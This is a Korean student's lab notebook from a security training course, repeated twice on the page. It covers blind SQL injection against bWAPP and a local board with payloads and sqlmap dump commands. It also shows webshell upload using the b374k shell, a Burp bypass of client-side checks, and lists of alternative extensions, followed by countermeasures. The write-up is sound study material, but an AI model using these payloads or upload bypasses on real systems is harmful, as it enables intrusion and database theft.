← SK Shieldus Rookies 학습 기록 목록으로
bee box > SQL injection - boolean based
' or 1 = 1#
쿼리문을 보내봤을 떄 있다는 결과는 나오는데 보이지는 않는다
즉 뭔지는 모르겠지만 반응은 한다는 것
참과 거짓만 나오는데 왜 공격하는 것인가?
error base는 막혀있지만 반응은 확인할 수 있기 때문에
Database의 이름을 알아내보기
' or 1=1 and length(database())=1#
천천히 숫자를 증가시켜보니
' or 1=1 and length(database())=5#
5에서 참으로 응답이 돌아왔다
자릿수를 알아냈으니 글자를 알아내보기
' or 1=1 and substring(database(),1,1)='a'#
substring 함수는 index 값이 1부터 시작함
' or 1=1 and substring(database(),1,1)='b'#
a로 했을때는 거짓으로 반응했지만 b로 물어보니 참으로 반응했다
이런식으로 정보를 찾아내는 것
나중에 자동화를 시킬 때 A ~ z 까지 리스트에 저장해서 돌릴 순 없을거같은데?
그래서 사용할 수 있는 방법은 ascii code를 이용하는것
이분탐색법으로 하나씩 for문 돌리는 것보다 더 수월하게 찾을 수 있다
' or 1=1 and ascii(substring(database(),1,1))>100#
이런식으로 크게크게 범위를 좁혀가는 것
DB의 이름을 알아봤으니 뱉은 정보를 알아내보기
기초적인 방식은 위와 같음 = 하나씩 차근차근 알아내보기
ex) 길이 > 첫번째 문자 > 두번째 문자 > ...
' or 1=1 and length((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1))=4#
' or 1=1 and substring((select table_name from information_schema. tables where table_schema='bWAPP' limit 0,1),1,1)='b'#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1)) > 100#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1))=98#
' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#
' or 1=1 and length((select login from users limit 1,1))=3#
이런식으로 여러번 물어보면서 답을 찾아내는 것
SQL Injection - Time-Based
' or 1=1 and sleep(1)#
sleep(1)이여도 반응이 1초보다 훨씬 더 걸리는 이유?
컬림 기준으로 sleep(1)이 적용되기 때문
' or 1=1 and length(database())=1 and sleep(1)#
이런식으로 마지막에 sleep을 추가해줘서 페이지 로딩에 걸리는 시간을 기반으로 DB의 정보를 파악 가능
SQL Injection (POST/Select)
kali에서 진행
sudo sqlmap -h
sqlmap이 있는것을 확인했으면 burp suite 에서 intercept 활성화
cookie와 data를 복사해서 명령어에 채워넣기
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" --dbs
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP --tables
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP -T users --columns
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP -T users --dump
나중에 DB가 업데이트 되더라도 결과에
[22:27:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.111.130'
로그가 남아있다면 계속 같은 결과만 보이게 됨
이제 웹 페이지인 를 http://192.168.111.130/gm를 대상으로 해보기
sudo sqlmap -u "http://192.168.111.130/gm/board_list.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "boardIndex=6&search=name&searchstring=%27&x=13&y=11" -p "searchstring" --dbs --technique=B
-p 옵션은 data의 특정 부분을 대상으로 실행 --technique옵션은 blind 기술로 진행
bee-box에서 로그 확인해보기
cd /var/log/apache2
tail access.log
로그를 확인해보면 전체적인 정보는 안나오고 header만 나온다
왜? apache는 기본적으로 POST값은 저장을 하지 않기 때문
대응 방안
길이 제한
입력값 제한
이스케이프 처리 : real_escape_string()
ex)
$username = $mysqli->real_escape_string($_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";
원천적으로 방지하려면? Prepared Statements (준비된 문장, 전처리)사용
ex)
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass");
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$result = $stmt->fetch();
파일 업로드 취약점
https://github.com/tennc/webshell/blob/master/php/b374k/b374k-2.8.php
웹쉘파일 다운로드
http://192.168.111.130/bWAPP/unrestricted_file_upload.php
다운로드한 웹쉘 파일 업로드
here을 눌러보면?
다운로드한 웹쉘이 실행된다
웹쉘 공격을 위한 조건
1. 서버사이트 스크립트 공격이 가능해야 함
2. 파일이 업로드 되는 절대경로를 알아야 함
3. 업로드된 디렉터리에 스크립트 실행이 가능해야 함
http://192.168.111.130/gm/board_list.php?boardIndex=5
자료실에 webshell 업로드 해서 공격해보기
b374k-2.8.php를 업로드 해보려고 했더니 alert과 함께 업로드가 막힌다
burp suite로 안넘어오는거 보니 java script에서 막고있는것 같다
burp suite를 활성화 시킨 후 페이지를 새로고침
response 값을 보면 페이지 코드가 보인다
else if 부분에 php 업로드를 막고 있는 부분을 삭제
다시 b374k-2.8.php업로드를 시도해보면?
정상적으로 파일이 업로드 된다
http://192.168.111.130/gm/upload/bbs/b374k-2.8.php
절대경로가 노출이 되니 그대로 들어가서 실행을 해보면?
웹쉘이 작동하게 된다
또는 파일의 확장자를 .jpg 처럼 다른 확장자로 바꾸기
이럼 java script는 우회가 되는데 실행은?
burp suite로 잡아서 request 값을 다시 b374k-2.8.php로 변경
자료실을 확인해 보면? b374k-2.8.php로 업로드 되어있는것을 확인해 볼 수 있다
https://factual-treefrog-positively.ngrok-free.app/demoshop/shop_board/upload_file/shell(30).asp
https://factual-treefrog-positively.ngrok-free.app/demoshop/upload_file/shell(30).asp
물론 아예 다른 경로에 있을 수도 있지만 그건 잘 찾아보거나 포기해야한다
첨부 파일 기능에서 확장자 검증 미흡 (서버 사이드 스크립트 업로드 가능해야 함)
1. 클라이언트 스크립트에서 차단을 하고 있다면 버프스위트에 우회가 가능
1. png 파일 확장자로 준비했다가, POST 요청할 때 확장자를 수정해서 올린다.
2. 블랙 리스트 방식으로 서버 사이드 스크립트에 차단!!
1. php 환경 - php, php3, php5, phtml… 등이 확장자로 사용이 가능
2. asp 환경 - asp, aspx, asa, asx, as%70, cer 등이 확장자로 사용이 가능
3. 공통 - 대소문자 php, pHp, PhP.. 등 구분 (윈도우, 리눅스 운영체제에 따라)
업로드된 웹쉘 절대경로 위치를 알아야 함
1. shop_download.asp?strFileName=shell.cer&f_path=upload_file HTTP/1.1
1. (대응) shop_download.asp?strFileName=2&f_path=1 (데이터베이스에서 정보를 가져옴)
업로드된 디렉터리에 스크립트 실행이 가능해야 함
1. 디렉터리 권한에 스크립트 실행 권한을 제외를 함!!!
1. http://192.168.81.138/bWAPP/images 에 images 디렉터리에 스크립트 실행 권한 빼면…
2. 업로드는 되는 서버를 분리해서 아예 스크립트 실행 원척적으로 차단!!
예방 방법
화이트리스트 방식으로 차단
업로드 한 파일명을 랜덤으로 변환하여 저장
업로드 리렉토리 격리, 차단
웹쉘 공격을 하는 이유
웹서버에 침투 후 DB에 접근해서 정보를 얻을 수 있음
웹서버에 침투 후 근접한 다른 내부시스템에 2차침투를 할 수 있음
index.html등에 악성코드를 삽입 가능 (경유지로 사용)
미션!
1. bWAPP의 데이터베이스 연결정보를 찾아라!! hint : 설정파일 내부
/var/www/bWAPP/admin/settings.php로 가보니 DB 접속 정보가 그대로 있더라
2. 웹쉘의 DB 기능을 이용해서 찾은 연결정보로 데이터베이스 중요 데이터를 획득해라!!
얻은 DB정보로 로그인 하기만 하면 DB가 다 보인다! sudo sqlmap -u "http://192.168.111.130/gm/board_list.php?boardIndex=6" --cookie="security_level=0; PHPSESSID=ec3cd05568845cc5675fb1d357407da9" --data "boardIndex=6&search=name&searchstring=1&x=0&y=1" --dbs
📅 2026년 10월 27일 학습 기록
SK쉴더스 루키즈 과정 학습 기록입니다.
bee box > SQL injection - boolean based
' or 1 = 1#
쿼리문을 보내봤을 떄 있다는 결과는 나오는데 보이지는 않는다
즉 뭔지는 모르겠지만 반응은 한다는 것
참과 거짓만 나오는데 왜 공격하는 것인가?
error base는 막혀있지만 반응은 확인할 수 있기 때문에
Database의 이름을 알아내보기
' or 1=1 and length(database())=1#
천천히 숫자를 증가시켜보니
' or 1=1 and length(database())=5#
5에서 참으로 응답이 돌아왔다
자릿수를 알아냈으니 글자를 알아내보기
' or 1=1 and substring(database(),1,1)='a'#
substring 함수는 index 값이 1부터 시작함
' or 1=1 and substring(database(),1,1)='b'#
a로 했을때는 거짓으로 반응했지만 b로 물어보니 참으로 반응했다
이런식으로 정보를 찾아내는 것
나중에 자동화를 시킬 때 A ~ z 까지 리스트에 저장해서 돌릴 순 없을거같은데?
그래서 사용할 수 있는 방법은 ascii code를 이용하는것
이분탐색법으로 하나씩 for문 돌리는 것보다 더 수월하게 찾을 수 있다
' or 1=1 and ascii(substring(database(),1,1))>100#
이런식으로 크게크게 범위를 좁혀가는 것
DB의 이름을 알아봤으니 뱉은 정보를 알아내보기
기초적인 방식은 위와 같음 = 하나씩 차근차근 알아내보기
ex) 길이 > 첫번째 문자 > 두번째 문자 > ...
' or 1=1 and length((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1))=4#
' or 1=1 and substring((select table_name from information_schema. tables where table_schema='bWAPP' limit 0,1),1,1)='b'#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1)) > 100#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1))=98#
' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#
' or 1=1 and length((select login from users limit 1,1))=3#
이런식으로 여러번 물어보면서 답을 찾아내는 것
SQL Injection - Time-Based
' or 1=1 and sleep(1)#
sleep(1)이여도 반응이 1초보다 훨씬 더 걸리는 이유?
컬림 기준으로 sleep(1)이 적용되기 때문
' or 1=1 and length(database())=1 and sleep(1)#
이런식으로 마지막에 sleep을 추가해줘서 페이지 로딩에 걸리는 시간을 기반으로 DB의 정보를 파악 가능
SQL Injection (POST/Select)
kali에서 진행
sudo sqlmap -h
sqlmap이 있는것을 확인했으면 burp suite 에서 intercept 활성화
cookie와 data를 복사해서 명령어에 채워넣기
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" --dbs
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP --tables
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP -T users --columns
sudo sqlmap -u "http://192.168.111.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "movie=1&action=go" -D bWAPP -T users --dump
나중에 DB가 업데이트 되더라도 결과에
[22:27:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.111.130'
로그가 남아있다면 계속 같은 결과만 보이게 됨
이제 웹 페이지인 를 http://192.168.111.130/gm를 대상으로 해보기
sudo sqlmap -u "http://192.168.111.130/gm/board_list.php" --cookie="security_level=0; PHPSESSID=c01e97bce65484fc86c4b9905e14b3cd" --data "boardIndex=6&search=name&searchstring=%27&x=13&y=11" -p "searchstring" --dbs --technique=B
-p 옵션은 data의 특정 부분을 대상으로 실행 --technique옵션은 blind 기술로 진행
bee-box에서 로그 확인해보기
cd /var/log/apache2
tail access.log
로그를 확인해보면 전체적인 정보는 안나오고 header만 나온다
왜? apache는 기본적으로 POST값은 저장을 하지 않기 때문
대응 방안
길이 제한
입력값 제한
이스케이프 처리 : real_escape_string()
ex)
$username = $mysqli->real_escape_string($_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";
원천적으로 방지하려면? Prepared Statements (준비된 문장, 전처리)사용
ex)
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass");
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$result = $stmt->fetch();
파일 업로드 취약점
https://github.com/tennc/webshell/blob/master/php/b374k/b374k-2.8.php
웹쉘파일 다운로드
http://192.168.111.130/bWAPP/unrestricted_file_upload.php
다운로드한 웹쉘 파일 업로드
here을 눌러보면?
다운로드한 웹쉘이 실행된다
웹쉘 공격을 위한 조건
1. 서버사이트 스크립트 공격이 가능해야 함
2. 파일이 업로드 되는 절대경로를 알아야 함
3. 업로드된 디렉터리에 스크립트 실행이 가능해야 함
http://192.168.111.130/gm/board_list.php?boardIndex=5
자료실에 webshell 업로드 해서 공격해보기
b374k-2.8.php를 업로드 해보려고 했더니 alert과 함께 업로드가 막힌다
burp suite로 안넘어오는거 보니 java script에서 막고있는것 같다
burp suite를 활성화 시킨 후 페이지를 새로고침
response 값을 보면 페이지 코드가 보인다
else if 부분에 php 업로드를 막고 있는 부분을 삭제
다시 b374k-2.8.php업로드를 시도해보면?
정상적으로 파일이 업로드 된다
http://192.168.111.130/gm/upload/bbs/b374k-2.8.php
절대경로가 노출이 되니 그대로 들어가서 실행을 해보면?
웹쉘이 작동하게 된다
또는 파일의 확장자를 .jpg 처럼 다른 확장자로 바꾸기
이럼 java script는 우회가 되는데 실행은?
burp suite로 잡아서 request 값을 다시 b374k-2.8.php로 변경
자료실을 확인해 보면? b374k-2.8.php로 업로드 되어있는것을 확인해 볼 수 있다
https://factual-treefrog-positively.ngrok-free.app/demoshop/shop_board/upload_file/shell(30).asp
https://factual-treefrog-positively.ngrok-free.app/demoshop/upload_file/shell(30).asp
물론 아예 다른 경로에 있을 수도 있지만 그건 잘 찾아보거나 포기해야한다
첨부 파일 기능에서 확장자 검증 미흡 (서버 사이드 스크립트 업로드 가능해야 함)
1. 클라이언트 스크립트에서 차단을 하고 있다면 버프스위트에 우회가 가능
1. png 파일 확장자로 준비했다가, POST 요청할 때 확장자를 수정해서 올린다.
2. 블랙 리스트 방식으로 서버 사이드 스크립트에 차단!!
1. php 환경 - php, php3, php5, phtml… 등이 확장자로 사용이 가능
2. asp 환경 - asp, aspx, asa, asx, as%70, cer 등이 확장자로 사용이 가능
3. 공통 - 대소문자 php, pHp, PhP.. 등 구분 (윈도우, 리눅스 운영체제에 따라)
업로드된 웹쉘 절대경로 위치를 알아야 함
1. shop_download.asp?strFileName=shell.cer&f_path=upload_file HTTP/1.1
1. (대응) shop_download.asp?strFileName=2&f_path=1 (데이터베이스에서 정보를 가져옴)
업로드된 디렉터리에 스크립트 실행이 가능해야 함
1. 디렉터리 권한에 스크립트 실행 권한을 제외를 함!!!
1. http://192.168.81.138/bWAPP/images 에 images 디렉터리에 스크립트 실행 권한 빼면…
2. 업로드는 되는 서버를 분리해서 아예 스크립트 실행 원척적으로 차단!!
예방 방법
화이트리스트 방식으로 차단
업로드 한 파일명을 랜덤으로 변환하여 저장
업로드 리렉토리 격리, 차단
웹쉘 공격을 하는 이유
웹서버에 침투 후 DB에 접근해서 정보를 얻을 수 있음
웹서버에 침투 후 근접한 다른 내부시스템에 2차침투를 할 수 있음
index.html등에 악성코드를 삽입 가능 (경유지로 사용)
미션!
1. bWAPP의 데이터베이스 연결정보를 찾아라!! hint : 설정파일 내부
/var/www/bWAPP/admin/settings.php로 가보니 DB 접속 정보가 그대로 있더라
2. 웹쉘의 DB 기능을 이용해서 찾은 연결정보로 데이터베이스 중요 데이터를 획득해라!!
얻은 DB정보로 로그인 하기만 하면 DB가 다 보인다! sudo sqlmap -u "http://192.168.111.130/gm/board_list.php?boardIndex=6" --cookie="security_level=0; PHPSESSID=ec3cd05568845cc5675fb1d357407da9" --data "boardIndex=6&search=name&searchstring=1&x=0&y=1" --dbs